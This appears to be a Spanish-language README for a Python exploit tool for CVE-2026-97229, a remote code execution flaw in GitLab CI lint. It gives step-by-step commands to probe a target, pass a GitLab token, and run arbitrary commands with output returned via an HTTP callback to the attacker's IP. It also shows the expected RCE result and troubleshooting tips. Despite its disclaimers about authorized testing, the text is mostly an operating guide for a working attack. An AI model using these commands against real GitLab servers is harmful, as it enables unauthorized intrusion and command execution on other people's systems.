
Exploit en Python para CVE-2026-97229, una RCE por regex en el lint de GitLab CI. Crea un proyecto, sube una configuración de CI maliciosa, activa el endpoint de lint y recupera la salida del comando mediante una callback HTTP.
CVE-2026-97229 es un exploit externo para RCE mediante regex en el lint de CI de GitLab. Se utiliza únicamente contra un objetivo GitLab activo y con permiso. Crea un proyecto, sube una configuración de CI maliciosa, activa el endpoint de lint de CI y recibe la salida de comandos a través de una callback HTTP. Esto es solo para investigación de seguridad autorizada.
CVE-2026-97229 External - úsalo bajo tu responsabilidad y solo para pruebas legales
##Solo para uso en investigación. Úsalo únicamente en tus propios sistemas o en sistemas para los que tengas permiso por escrito.
Esta herramienta es solo para un objetivo GitLab activo. No funcionará en un objetivo caído, una copia de seguridad o un host inaccesible.
Requisitos
Guardar archivo
Guarda el código del exploit como:
cve97229_ext.py
Crear archivo de alcance
Si tu objetivo es:
https://gitlab.example.local
Crea scope.txt:
echo "gitlab.example.local" > scope.txt
Paso 1 - Comprobar objetivo
Ejecuta:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "GITLAB_TOKEN"
Ejemplo:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "glpat-AbCdEf1234567890"
Buen resultado:
"gitlab_signal": true
Si la versión es visible, podrías ver:
"version": "19.4.0"
Paso 2 - Ejecutar contra el objetivo activo
Ejecuta:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "GITLAB_TOKEN" --callback-host YOUR_IP --callback-port 8000 --command "id"
Ejemplo:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "glpat-AbCdEf1234567890" --callback-host 192.168.1.50 --callback-port 8000 --command "id"
Reemplaza:
GITLAB_TOKEN = tu token de GitLab
YOUR_IP = la IP de tu máquina que el objetivo puede alcanzar
Resultado
Si tiene éxito, verás:
"status": "RCE"
y una salida como:
"output": "uid=998(git) gid=998(git) groups=998(git)"
Problemas comunes
out-of-scope:
Corrige scope.txt.
no-write-path:
Token ausente o inválido.
known-patched:
La versión del objetivo está corregida.
no-callback:
El objetivo no pudo conectarse de vuelta a ti.
Comprueba YOUR_IP, el firewall y el acceso de red.
Importante
El objetivo debe estar activo y ser accesible.